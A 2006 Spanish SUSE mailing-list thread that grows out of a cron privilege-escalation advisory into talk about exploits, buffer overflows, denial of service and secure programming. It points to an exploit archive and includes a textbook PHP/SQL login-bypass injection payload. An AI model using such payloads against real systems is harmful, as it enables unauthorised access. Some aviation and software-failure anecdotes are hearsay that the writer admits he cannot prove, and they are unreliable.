Fwd: [suse-security] SUSE Security Announcement: cron local privilege escalation (SUSE-SA:2006:027)
chicos... a actualizar se ha dicho!
Por cierto, tengo una máquina suse 9.3 en la que el unico usuario soy
yo, asi que no me puede pasar (salvo que me esten reventando con mi
propio usuario sin yo saberlo). Cómo se podría hacer un exploit de
este bug? Hay algo sencillito de ejecutar que se pueda probar?
Ya digo, solo pretendo hackearme yo mismo :D, no seais malpensados!
Gracias...
---------- Forwarded message ----------
From: Marcus Meissner
El 31/05/2006 15:46:20 miguel gmail escribió: miguel.listas> Por cierto, tengo una máquina suse 9.3 en la que el unico usuario soy miguel.listas> yo, asi que no me puede pasar (salvo que me esten reventando con mi miguel.listas> propio usuario sin yo saberlo). Cómo se podría hacer un exploit de miguel.listas> este bug? Hay algo sencillito de ejecutar que se pueda probar? No hace falta que lo hagas. Búscalo aquí: http://www.security.nnov.ru/exploits/ Esta vulnerabilidad en concreto aún no la encontrarás, ya que, salvo en los productos de Mocosoft, lo normal es que primero se publica la corrección-actualización y a los pocos días sale el "exploit". -- Saludos, Josep M. Queralt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-05-31 a las 15:46 +0200, miguel gmail escribió:
chicos... a actualizar se ha dicho!
Había unas cuantas cosas más para actualizar, pero ese es único mail que han puesto. Y la semana pasada, un kernel (el mail está pendiente). - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEfhNQtTMYHG2NR9URAgeAAKCT3r9bVMm9l+6bM8gWc9uyrfvikwCgkHgW 3Trscc4+NVGGKHUtk/YiHH8= =WAPT -----END PGP SIGNATURE-----
Había unas cuantas cosas más para actualizar, pero ese es único mail que han puesto. Y la semana pasada, un kernel (el mail está pendiente).
No sé, pero una escalada de privilegios de usuarios locales, suena serio, no? Hay, por supuesto, mas bugs, pero no suelen ser de escalada de privilegios, creo. -- Saludos, miguel
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 00:25 +0200, miguel gmail escribió:
Había unas cuantas cosas más para actualizar, pero ese es único mail que han puesto. Y la semana pasada, un kernel (el mail está pendiente).
(Ya lo han puesto esta tarde)
No sé, pero una escalada de privilegios de usuarios locales, suena serio, no? Hay, por supuesto, mas bugs, pero no suelen ser de escalada de privilegios, creo.
Bueno, puesto que sólo lo uso yo, esos no me importan mucho, no son explotables... o creo que no, vamos, tendrían que mandarme un script o algo y que yo lo ejecutara. Es más, me interesan conocerlos y que no los conozcan los demás cuando estoy trabajando en el ordenador de otro y quiero quitárselo :-PP Yagh, lástima que soy bueno y que nunca sé como hacer esas cosas.... O:-) - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEfi7jtTMYHG2NR9URAoWgAJ9u1hCbUMOOAtzYkPa4POgOIlSZkwCeJ9hZ 2iXYpao5kr1vNhpBZmNEwDQ= =u0nZ -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 01/06/2006 2:03:39 Carlos E. R. escribió: robin.listas> robin.listas> Bueno, puesto que sólo lo uso yo, esos no me importan mucho, no son robin.listas> explotables... o creo que no, vamos, tendrían que mandarme un script o robin.listas> algo y que yo lo ejecutara. robin.listas> Bueno, eso no es del todo cierto. En realidad solo puedes afirmar que eres el único usuario _humano_ que lo usa. Pero Postfix, SSH, etc. aunque no tengan corazoncito también son usuarios. El "script" no hace falta que te lo manden a ti. Pueden mandárselo a Apache (el caso más típico) y este ya se encarga de ejecutarlo. :-) Se escalan provilegios a través del usuario Apache y .... hasta donde se pueda llegar. .... y hablo por experiencia, ya lo sabes. :-( -- Saludos, Josep M. Queralt
Bueno, eso no es del todo cierto. En realidad solo puedes afirmar que eres el único usuario _humano_ que lo usa. Pero Postfix, SSH, etc. aunque no tengan corazoncito también son usuarios.
El "script" no hace falta que te lo manden a ti. Pueden mandárselo a Apache (el caso más típico) y este ya se encarga de ejecutarlo. :-)
Se escalan provilegios a través del usuario Apache y .... hasta donde se pueda llegar.
Y estas cosas... como se hacen? Cómo se hace para que Apache, o algun otro servidor, ejecute estas cosas? Si es que nunca he entendido como se consigue una escalada de privilegios... -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 01/06/2006 9:26:32 miguel gmail escribió: miguel.listas> Y estas cosas... como se hacen? Cómo se hace para que Apache, o algun miguel.listas> otro servidor, ejecute estas cosas? miguel.listas> miguel.listas> Si es que nunca he entendido como se consigue una escalada de privilegios... Bufff!, es muy largo y extenso. Ahora lo que está de moda son las inyecciones SQL. A través de ellas se consigue escribir un fichero en el servidor que llama a una URL externa que hace bajar las herramientas necesarias para intentar controlar el servidor atacado. Echale un vistazo a la URL que puse ayer: http://www.security.nnov.ru/exploits/ Verás que hay exploits de todos los tipos y colores. -- Saludos, Josep M. Queralt
Bufff!, es muy largo y extenso. Ahora lo que está de moda son las inyecciones SQL. A través de ellas se consigue escribir un fichero en el servidor que llama a una URL externa que hace bajar las herramientas necesarias para intentar controlar el servidor atacado.
Echale un vistazo a la URL que puse ayer:
http://www.security.nnov.ru/exploits/
Verás que hay exploits de todos los tipos y colores.
a ver si me explico. Ayer estuve viendo la página, y efectivamente hay exploits para todos los gustos y colores. Estan bien, veré si puedo probar alguno en mi casa, pero tengo el suse bastante actualizado. Lo que me interesa saber es el fondo de todo esto. En qué clase de código hay que pensar para salirse del flujo normal de un servicio, tal y como lo ha pensado el analista/desarrollador. Hay algún sitio donde empezar a leer? Lo de ejecutar un código... pues eso, scriptkiddies, no es lo que busco. Aunque está bien para probar :D -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 01/06/2006 11:46:29 miguel gmail escribió: miguel.listas> a ver si me explico. Ayer estuve viendo la página, y efectivamente hay miguel.listas> exploits para todos los gustos y colores. Estan bien, veré si puedo miguel.listas> probar alguno en mi casa, pero tengo el suse bastante actualizado. La mayoría no te dependen de SuSE o de Linux en general sino de otras aplicaciones "asociadas". Creo que en la primera página hay uno para Cyrus-IMAP y el resto son prácticamente todos para scripts programados en PHP. miguel.listas> Lo que me interesa saber es el fondo de todo esto. En qué clase de miguel.listas> código hay que pensar para salirse del flujo normal de un servicio, miguel.listas> tal y como lo ha pensado el analista/desarrollador. Hay algún sitio miguel.listas> donde empezar a leer? En general necesitas aprender a programar (y comprender) "a fondo" un determinado lenguaje y tener una buena base de conocimientos para saber como funciona una red y un sistema operativo. miguel.listas> busco. Aunque está bien para probar :D No te creas, lo de entrar en la NASA o en PlayBoy sin pagar es solo la cara amable del tema. La cara real, actualmente, solo consiste en hacerse con servidores de correo para inundar a la gente con spam (cobrando claro) y en lanzar ataques de denegación de servicios para controlar más servidores para enviar más "spam" y hacer más dinero. -- Saludos, Josep M. Queralt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 09:26 +0200, miguel gmail escribió:
Y estas cosas... como se hacen? Cómo se hace para que Apache, o algun otro servidor, ejecute estas cosas?
Un caso típico con los programas en C consiste en mandar, en una respuesta normal, un chorro de bytes mayor de lo que espera el servidor, sabiendo exactamente que versión de servidor (daemon) es. La variable que recoge esos datos se desborda, es demasiado pequeña, y los datos sobreescriben la variable siguiente, causando un efecto inesperado. Dependiendo del programa, la variable, etc, los datos desbordados pueden provocar un efecto secundario interesante para el atacante, que en el mejor de los casos (para ellos) les permite ejecutar código aleatorio con los privilegios del demonio que han atacado. Eso es la teoría. Sucede porque el C no hace comprobación de margenes en las variables, el programador tiene que programar explícitamente código para hacerlo. En Dos ese desbordamiento podía caer incluso encima de la memoria de otro programa, que no estaba protegido por el sistema. Lo más habitual era tirar el programa o el sistema. En los logs del apache se pueden ver a veces esas cadenas gigantescas para provocar el desbordamiento, por script kiddies que buscan un servidor windows sin comprobarlo. - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEftl3tTMYHG2NR9URAogfAJ4oLY5btJ6MPoO6nCur68kZzsBV1ACcCHRE 36lQZGY/yvcpEo54YEY0f9s= =F7o3 -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El 01/06/2006 14:11:33 Carlos E. R. escribió: robin.listas> robin.listas> En los logs del apache se pueden ver a veces esas cadenas gigantescas para robin.listas> provocar el desbordamiento, por script kiddies que buscan un servidor robin.listas> windows sin comprobarlo. .... y no solo para sistemas Windows. Esas cadenas también sirven para provocar el desbordamiento del módulo WebDAV de Apache si no se dispone de una versión actualizada. Y además, lo que más me molesta, es que sirven para desbordar (sin consecuencias) el programa que lee el log para las estadísticas de WebAnalizer pero que hace que estas sean incompletas y también para que el "cron" me mande mensajes por lo de "logs truncados". Años atrás había un sistema muy curioso (y lo admito, también divertido) para hacer caer servidores basados en Windows NT. Consistía en llamar al servidor NT y decirle que se le iba a enviar un fichero muy grande y luego enviarle unos pocos bits cada minuto. El NT reservaba memoria suficiente para recibir el hipotético fichero y desatendía los otros procesos, hasta que, finalmente se caía. -- Saludos, Josep M. Queralt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 15:41 +0200, Josep M. Queralt escribió:
robin.listas> robin.listas> En los logs del apache se pueden ver a veces esas cadenas gigantescas para robin.listas> provocar el desbordamiento, por script kiddies que buscan un servidor robin.listas> windows sin comprobarlo.
.... y no solo para sistemas Windows. Esas cadenas también sirven para provocar el desbordamiento del módulo WebDAV de Apache si no se dispone de una versión actualizada.
Si, el método no es privativo de ningún sistema operativo. La mayoría de agujeros que se encuentran en Linux son por desbordamiento de bufer, hay que fastidiarse. Es inherente al C (y otros, pero no todos).
Y además, lo que más me molesta, es que sirven para desbordar (sin consecuencias) el programa que lee el log para las estadísticas de WebAnalizer pero que hace que estas sean incompletas y también para que el "cron" me mande mensajes por lo de "logs truncados".
Que graciosín.
Años atrás había un sistema muy curioso (y lo admito, también divertido) para hacer caer servidores basados en Windows NT. Consistía en llamar al servidor NT y decirle que se le iba a enviar un fichero muy grande y luego enviarle unos pocos bits cada minuto. El NT reservaba memoria suficiente para recibir el hipotético fichero y desatendía los otros procesos, hasta que, finalmente se caía.
¡Ondiá! X'-) ¿Que servidor, el de ficheros de windows? - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEfvI3tTMYHG2NR9URAuQiAJ9uG7jp1tgTe3+oxjFrWvfl8+wwHwCfdows bGzc+3dCUofQqlWkEOwpCOA= =IAWN -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
Si, el método no es privativo de ningún sistema operativo. La mayoría de agujeros que se encuentran en Linux son por desbordamiento de bufer, hay que fastidiarse. Es inherente al C (y otros, pero no todos).
entiendo entonces que son inherentes, no al lenguaje sino al desarrollador por no meter los controles necesarios de los datos que deberían venir frente a los que vienen... no?
Años atrás había un sistema muy curioso (y lo admito, también divertido) para hacer caer servidores basados en Windows NT. Consistía en llamar al servidor NT y decirle que se le iba a enviar un fichero muy grande y luego enviarle unos pocos bits cada minuto. El NT reservaba memoria suficiente para recibir el hipotético fichero y desatendía los otros procesos, hasta que, finalmente se caía.
¡Ondiá! X'-)
¿Que servidor, el de ficheros de windows?
el 'ping of death' también tenía su gracia, je je Conocéis algun manual, FAQ, guiaburros... que de pautas generales de programación segura? Algo que explique los principales errores de programación desde el punto de vista de seguridad? Se que hay metodologías específicas de desarrollo a prueba de errores (por ejemplo, uno no espera que un avión se caiga por un error de sw, o que se funda el núcleo de una central nuclear por un error de sw - no, chernobyl no cuenta - ). Alguien tiene algún enlace que merezca la pena leer? -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-01 a las 16:06 +0200, miguel gmail escribió:
Si, el método no es privativo de ningún sistema operativo. La mayoría de agujeros que se encuentran en Linux son por desbordamiento de bufer, hay que fastidiarse. Es inherente al C (y otros, pero no todos).
entiendo entonces que son inherentes, no al lenguaje sino al desarrollador por no meter los controles necesarios de los datos que deberían venir frente a los que vienen... no?
En mi no muy modesta opinión :-P es culpa del lenguaje. Sobre esto habrá docenas de opiniones, pero como yo me eduqué con un lenguaje que no presenta este problema, porque por defecto comprueba el tamaño de las variables, pues mi opinión está sesgada (biased). Y años más tarde mi profesor de C, que sabía de estas cosas para parar un tren, era de los buenos, me puso el C a parir... Por otra parte, también es culpa del programador, porque el programador es responsable de conocer el lenguaje que está usando y tomar las medidas oportunas: para eso le pagan. Bueno, en linux NO le pagan :-p Es un lenguaje muy flexible, muy potente, muy rápido... algunos dicen que es como un macroensamblador con esteroides... te permite todo, y no te hace preguntas. Tu mandas, tu sabrás lo que haces... es tu problema, yo soy un mandao.
¡Ondiá! X'-)
¿Que servidor, el de ficheros de windows?
el 'ping of death' también tenía su gracia, je je
Poz zi.
Conocéis algun manual, FAQ, guiaburros... que de pautas generales de programación segura? Algo que explique los principales errores de programación desde el punto de vista de seguridad?
¡Ufff! Hay hasta programs de esos de munchas pelas, que se dedican a auditar el código y encontrarte problemillas y problemones. No se ahora mismo un libro de eso... hay mucho "arte". Un buen libro de programación, realmente bueno y no un sacacuartos, debe explicar esas cosas.
Se que hay metodologías específicas de desarrollo a prueba de errores (por ejemplo, uno no espera que un avión se caiga por un error de sw,
¿NOOO? Yo si...
o que se funda el núcleo de una central nuclear por un error de sw - no, chernobyl no cuenta - ). Alguien tiene algún enlace que merezca la pena leer?
Mmmm.... Te contaré un cuento. Se que es cierto, pero no tengo pruebas. Los USA. Tres aviones de combate. Se los venden a algún país sudamericano. Se los llevan volando - quiero decir que no los llevan en un barco. ¡Volando voy, a Mallorca voy! Ya sabes. El mar... las avecitas... el azul del cielo... aburrimiento... piloto automático... Latitud: 2. Un rato después: latitud 1. Otro rato: latitud 0. Unos segundos después: latitud -0.00001. Primer avión que cruza el ecuador: flip, panza arriba. Y el segundo, flip. Y el tercero, flip. No comment... - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEfvqHtTMYHG2NR9URAj5qAJ9njmAw+wQmT3VtXBJgJhNbNBAO4gCfcJEe Hci/OxxMvDWbglVXzaZwpHw= =FBqn -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
Hay hasta programs de esos de munchas pelas, que se dedican a auditar el código y encontrarte problemillas y problemones.
Imagino que esos programas no hacen sino aplicar reglas previamente definidas. Pues vaya. Yo quiero saber qué metología habría que seguir en una programación segura.
No se ahora mismo un libro de eso... hay mucho "arte". Un buen libro de programación, realmente bueno y no un sacacuartos, debe explicar esas cosas.
Uhm... realmente... un libro de programación para eso?? No sé, mas bien un libro de seguridad en si mismo.
Se que hay metodologías específicas de desarrollo a prueba de errores (por ejemplo, uno no espera que un avión se caiga por un error de sw,
¿NOOO? Yo si...
'sagerao'!
o que se funda el núcleo de una central nuclear por un error de sw - no, chernobyl no cuenta - ). Alguien tiene algún enlace que merezca la pena leer?
Mmmm....
Te contaré un cuento. Se que es cierto, pero no tengo pruebas. Los USA. Tres aviones de combate. Se los venden a algún país sudamericano. Se los llevan volando - quiero decir que no los llevan en un barco. ¡Volando voy, a Mallorca voy! Ya sabes. El mar... las avecitas... el azul del cielo... aburrimiento... piloto automático...
Latitud: 2. Un rato después: latitud 1. Otro rato: latitud 0. Unos segundos después: latitud -0.00001.
Primer avión que cruza el ecuador: flip, panza arriba. Y el segundo, flip. Y el tercero, flip.
No comment...
Lo había oido... siempre pense que era una leyenda urbana. Veamos, seamos un poco practicos. Cuantos aviones vuelan cada día? Miles. Cuantos tienen problemas? Algunos Cuantos tienen problemas debido al sw? Bueno, no lo sabemos realmente. Hombre, estoy pensando que ha habido satélites que se han estrellado, perdido o cosas parecidas por errores como usar kms en un modulo y millas en otro, confundir el 'arriba' con el 'abajo' (daba gravedad negativa en lugar de positiva, con lo que el satelite de cuyo nombre no quier acordarme no abrío el paracaidas y se estampó contra el suelo con la tele dándolo en directo, y es que la gravedad nunca alcanzo cierto valor... positivo). Pero esto son errores de comunicación o como mucho de diseno, no de desarrollo _en si_. Pero si que se que hay metodologías de desarrollo que minimizan al mínimo minimísimo el numero de errores (y creo recordar que valen 50 veces más que un desarrollo 'normal') -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 El 2006-06-02 a las 00:30 +0200, miguel gmail escribió:
Hay hasta programs de esos de munchas pelas, que se dedican a auditar el código y encontrarte problemillas y problemones.
Imagino que esos programas no hacen sino aplicar reglas previamente definidas. Pues vaya. Yo quiero saber qué metología habría que seguir en una programación segura.
Si, bueno, imagino que aplican heurísticas que han ido desarrollando, pero no precisamente lo que te explican en un libro de metodología, porque en una buena metodología (que yo no he estudiado las de verdad, soy teleco, no informático) puedes tardar un año hasta escribir la primera linea de código. Esos programas son a posteriori, para cazar errores después de producidos por no seguir un buen método.
No se ahora mismo un libro de eso... hay mucho "arte". Un buen libro de programación, realmente bueno y no un sacacuartos, debe explicar esas cosas.
Uhm... realmente... un libro de programación para eso?? No sé, mas bien un libro de seguridad en si mismo.
Rafa ha dicho alguno. En informática tienen asignaturas enteras de metodologías.
Se que hay metodologías específicas de desarrollo a prueba de errores (por ejemplo, uno no espera que un avión se caiga por un error de sw,
¿NOOO? Yo si...
'sagerao'!
¡JA! :-P
Primer avión que cruza el ecuador: flip, panza arriba. Y el segundo, flip. Y el tercero, flip.
No comment...
Lo había oido... siempre pense que era una leyenda urbana. Veamos, seamos un poco practicos.
No, no lo es. Quien me lo contó, hace unos cuantos años, tenía motivos para saberlo de verdad.
Cuantos aviones vuelan cada día? Miles. Cuantos tienen problemas? Algunos Cuantos tienen problemas debido al sw? Bueno, no lo sabemos realmente.
Eso es el problema, no se sabe. No se publica, eso se oculta. Mira, en yanquilandia tenían un grupo de la nasa, si no recuerdo mal, cuyo trabajo era recibir anónimamente "denuncias" de los pilotos y otros técnicos de problemas que habían encontrado, pero que no podían denunciar oficialmente porque podían despedirlos. Esa gente localizó muchos fallos de muchos tipos. Desafortunadamente, recortaron gastos y lo quitaron, o quitaron la gente que luego los analizaban. (Lo se por un estudio que salió en el ieee spectrum hace poco sobre la seguridad aerea relacionada con las interferencias radioeléctricas). No es el único problema informático gordo que conozco, he oído de otros. Un avión que es temido por los pilotos es el airbus, porque toma sus propias decisiones. Me contaron de un avión que estaba aterrizando, el piloto decide abortar por no se que, tira de gas y de palanca a tope para remontar el vuelo, y el ordenador cancela la orden y mantiene vuelo nivelado, estrellándose. ¿Porqué? Pues porque el ordenador calculó que con esa orden del piloto el avión iba a entrar en pérdida y estrellarse de cola a mayor altura, y decidió que era mejor estrellarse en horizontal... No es exactamente un fallo de software, es más bien un fallo de entrenamiento en lo que supone un cacharro tan sofisticado.
Hombre, estoy pensando que ha habido satélites que se han estrellado, perdido o cosas parecidas por errores como usar kms en un modulo y millas en otro, confundir el 'arriba' con el 'abajo' (daba gravedad negativa en lugar de positiva, con lo que el satelite de cuyo nombre no quier acordarme no abrío el paracaidas y se estampó contra el suelo con la tele dándolo en directo, y es que la gravedad nunca alcanzo cierto valor... positivo). Pero esto son errores de comunicación o como mucho de diseno, no de desarrollo _en si_.
El de la Nasa con la misión a Marte entre las medidas imperiales y las del SI (la nasa usa el SI) fué muy estudiado. Fué un fallo de método en la empresa, que no se leyó las especificaciones y trabajaron en medidas imperiales en contra de las especificaciones de la nasa. De esos hay muy gordos. Los rusos perdieron otro. A ver si me acuerdo... ah, estos es que usanban la misma cpu para análisis y experimentos y para navegación. Programaron remotamente (en vuelo) un experimento, y colaron un bug. La cpu hizo el experimento (enfocar una cámara, por ejemplo) y al terminar no pudo tomar el control de navegación y reorientar la antena hacia la Tierra... silencio absoluto, se perdió. Los americanos usaban dos procesadores, en ese tiempo al menos. Falló la orientación, pero por culpa de un bug en el código que mandaron desde la Tierra.
Pero si que se que hay metodologías de desarrollo que minimizan al mínimo minimísimo el numero de errores (y creo recordar que valen 50 veces más que un desarrollo 'normal')
Hubo un número del ieee dedicado precisamente a fallos de software... uno de los artículos era de una empresa inglesa que garantizaba código libre de fallos a la primera. O casi. Y lo consiguen. Son los que dije que pueden estar un año o dos estudiando antes de escribir una sóla linea de código. - -- Saludos Carlos Robinson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) Comment: Made with pgp4pine 1.76 iD8DBQFEf39AtTMYHG2NR9URAuk6AJ0UEwENlwtmQWG+nazxKZmERfrafgCdFixu ySERaZ5yare/m/+aV3DhsOM= =R9gm -----END PGP SIGNATURE----- -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
Hola :) El Jueves, 1 de Junio de 2006 16:06, miguel gmail escribió:
Si, el m�todo no es privativo de ning�n sistema operativo. La mayor�a de agujeros que se encuentran en Linux son por desbordamiento de bufer, hay que fastidiarse. Es inherente al C (y otros, pero no todos).
entiendo entonces que son inherentes, no al lenguaje sino al desarrollador por no meter los controles necesarios de los datos que deber�an venir frente a los que vienen... no?
Yo creo que de ambos ;)
A�os atr�s hab�a un sistema muy curioso (y lo admito, tambi�n divertido) para hacer caer servidores basados en Windows NT. Consist�a en llamar al servidor NT y decirle que se le iba a enviar un fichero muy grande y luego enviarle unos pocos bits cada minuto. El NT reservaba memoria suficiente para recibir el hipot�tico fichero y desatend�a los otros procesos, hasta que, finalmente se ca�a.
�Ondi�! X'-)
�Que servidor, el de ficheros de windows?
el 'ping of death' tambi�n ten�a su gracia, je je
Conoc�is algun manual, FAQ, guiaburros... que de pautas generales de programaci�n segura? Algo que explique los principales errores de programaci�n desde el punto de vista de seguridad?
En http://www.dwheeler.com/secure-programs/ tienes el "Secure Programming for Linux and Unix HOWTO -- Creating Secure Software"
Se que hay metodolog�as espec�ficas de desarrollo a prueba de errores (por ejemplo, uno no espera que un avi�n se caiga por un error de sw, o que se funda el n�cleo de una central nuclear por un error de sw - no, chernobyl no cuenta - ). Alguien tiene alg�n enlace que merezca la pena leer?
Hay varias herramientas que te analizan ese tipo de cosas. Que yo sepa, las de Coverty son las más avanzadas (y caras). Puedes usar también la "familia" de Valgrind que también ayuda (GPL). HTH Rafa -- 50% of all statistics are inaccurate. OpenWengo: rgriman -- Para dar de baja la suscripci�n, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
Si, el método no es privativo de ningún sistema operativo. La mayoría de agujeros que se encuentran en Linux son por desbordamiento de bufer, hay que fastidiarse. Es inherente al C (y otros, pero no todos).
entiendo entonces que son inherentes, no al lenguaje sino al desarrollador por no meter los controles necesarios de los datos que deberían venir frente a los que vienen... no?
Si, efectivamente. Los lenguaje en si mismos tiene muy pocos problemas (pero los tienen) no así las aplicaciones. Por cada "exploid" que se publica que afecte a PHP (como lenguaje) salen tres o cuatro que afectan a PHP-BB o a PHP-Nuke y algunos más para el resto de aplicaciones medianamente populares en PHP.. Aunque este no sea el lugar: [OFF TOPIC ON] Supongamos que validamos usuarios remotos mediante una base de datos SQL (p.e. MySQL) Para ello utilizamos la siguiente consulta SQL: $sql = "SELECT * FROM usuario WHERE id = '" . $id ; $sql .= "' AND pwd = '" . $pwd . "'" ; Se entran los valores del formulario y hasta aquí todo normal. :-) Comprobaremos si la contraseña entrada es correcta: SELECT * FROM usuario WHERE id = 'primoroot' AND pwd = 'myPaSSword' Y nos dirá si es verdadera o falsa. Sin embargo si tu en cuando se te pide el password pones: "NoLoSe ' OR " a=a ' Entonces se formará una cadena tal como esta: SELECT * FROM usuario WHERE id = 'primoroot' AND pwd = 'NoLoSe ' OR ''a =a ' ' ... y claro, es evidente que todo el mundo es igual a si mismo (a=a) y que aunque el password no es el mismo (myPaSSword es diferente que NoLoSe) la segunda condición se cumple. (El OR significa que o se cumple la primera o se cumple la segunda condición. Como la segunda siempre se cumplirá ya no necesitaríamos ningún password (ni propio ni ajeno) para acceder a cualquier lugar con validación con PHP+SQL. :-) [OFF TOPIC OFF] De quien es la culpa de que no se validen correctamente las comillas ? Del programdor de la aplicación, del desarrollador de PHP o del de SQL ????? Personalmente creo que son culpas compartidas, aunque en general es más del programador. -- Salutacions - Saludos, Josep M. Queralt
Si, efectivamente. Los lenguaje en si mismos tiene muy pocos problemas (pero los tienen) no así las aplicaciones. Por cada "exploid" que se publica que afecte a PHP (como lenguaje) salen tres o cuatro que afectan a PHP-BB o a PHP-Nuke y algunos más para el resto de aplicaciones medianamente populares en PHP..
Aunque este no sea el lugar:
oh si, si lo es.
[OFF TOPIC ON]
Supongamos que validamos usuarios remotos mediante una base de datos SQL (p.e. MySQL)
Para ello utilizamos la siguiente consulta SQL:
$sql = "SELECT * FROM usuario WHERE id = '" . $id ; $sql .= "' AND pwd = '" . $pwd . "'" ;
Se entran los valores del formulario y hasta aquí todo normal. :-)
Comprobaremos si la contraseña entrada es correcta:
SELECT * FROM usuario WHERE id = 'primoroot' AND pwd = 'myPaSSword'
Y nos dirá si es verdadera o falsa.
Sin embargo si tu en cuando se te pide el password pones:
"NoLoSe ' OR " a=a '
Entonces se formará una cadena tal como esta:
SELECT * FROM usuario WHERE id = 'primoroot' AND pwd = 'NoLoSe ' OR ''a =a ' '
... y claro, es evidente que todo el mundo es igual a si mismo (a=a) y que aunque el password no es el mismo (myPaSSword es diferente que NoLoSe) la segunda condición se cumple. (El OR significa que o se cumple la primera o se cumple la segunda condición.
Como la segunda siempre se cumplirá ya no necesitaríamos ningún password (ni propio ni ajeno) para acceder a cualquier lugar con validación con PHP+SQL. :-)
[OFF TOPIC OFF]
:O Esa es la famosa inyección sql, no? Pero... como se inyecta? Recordando de mis tiempos de programador (en ASP), se pueden pasar variables de sesión de dos maneras distintas: - metodo post - metodo get Uno de estos, no recuerdo cual, usaba la url para pasar los parámetros. El otro método, hablando muy de memoria, usaba variables de sesión. A mi me gustaba más este método, aunque tampoco recuerdo por qué (supongo que por mantener ocultas las variables en la url). La pregunta es: cual de estos métodos es sensible a la inyección de sql? O lo son los dos?
De quien es la culpa de que no se validen correctamente las comillas ? Del programdor de la aplicación, del desarrollador de PHP o del de SQL ?????
Personalmente creo que son culpas compartidas, aunque en general es más del programador.
Vale, entonces, que tendría que hacer el programador para evitar esto? -- Saludos, miguel -- Para dar de baja la suscripción, mande un mensaje a: suse-linux-s-unsubscribe@suse.com Para obtener el resto de direcciones-comando, mande un mensaje a: suse-linux-s-help@suse.com
El Viernes, 2 de Junio de 2006 00:17, miguel gmail escribió:
Si, efectivamente. Los lenguaje en si mismos tiene muy pocos problemas (pero los tienen) no así las aplicaciones. Por cada "exploid" que se publica que afecte a PHP (como lenguaje) salen tres o cuatro que afectan a PHP-BB o a PHP-Nuke y algunos más para el resto de aplicaciones medianamente populares en PHP..
Aunque este no sea el lugar:
oh si, si lo es.
[OFF TOPIC ON]
Supongamos que validamos usuarios remotos mediante una base de datos SQL (p.e. MySQL)
Para ello utilizamos la siguiente consulta SQL:
$sql = "SELECT * FROM usuario WHERE id = '" . $id ; $sql .= "' AND pwd = '" . $pwd . "'" ;
Se entran los valores del formulario y hasta aquí todo normal. :-)
Comprobaremos si la contraseña entrada es correcta:
SELECT * FROM usuario WHERE id = 'primoroot' AND pwd = 'myPaSSword'
- metodo post - metodo get
La pregunta es: cual de estos métodos es sensible a la inyección de sql? O lo son los dos?
De quien es la culpa de que no se validen correctamente las comillas ? Del programdor de la aplicación, del desarrollador de PHP o del de SQL ????? Del desarrollador del programa. La instrucción sql construida es perfectamente válida en sql y hace lo que tiene que hacer. Pero, siempre hay un pero, al
Los dos. La inyección de sql no tiene, en principio, nada que ver con el transporte de la información, incluso se puede hacer en local. Es la aplicación la que es sensible, porque es ella la que tiene que interpretar las variables y sus contenidos. programador se le ha olvidado "escapar" las comillas. No debemos olvidar que las comillas simples son legales en algunas lenguas, como el francés (apóstrofos).
Personalmente creo que son culpas compartidas, aunque en general es más del programador.
Vale, entonces, que tendría que hacer el programador para evitar esto? Normalmente debe ser el programador. Hay interfases de Bases de Datos que tienen funciones que permiten manejar estas eventualidades. También lenguajes que dan facilidades para ello. Si no, es competencia del programador.
Por otra parte, tan temible (o más) que la inyección de sql es, en el entorno web, la inyección de html, con una buena redirección no hay nadie que se resista, sobre todo si tiene ActiveX activados (valga la redundancia).
-- Saludos, miguel
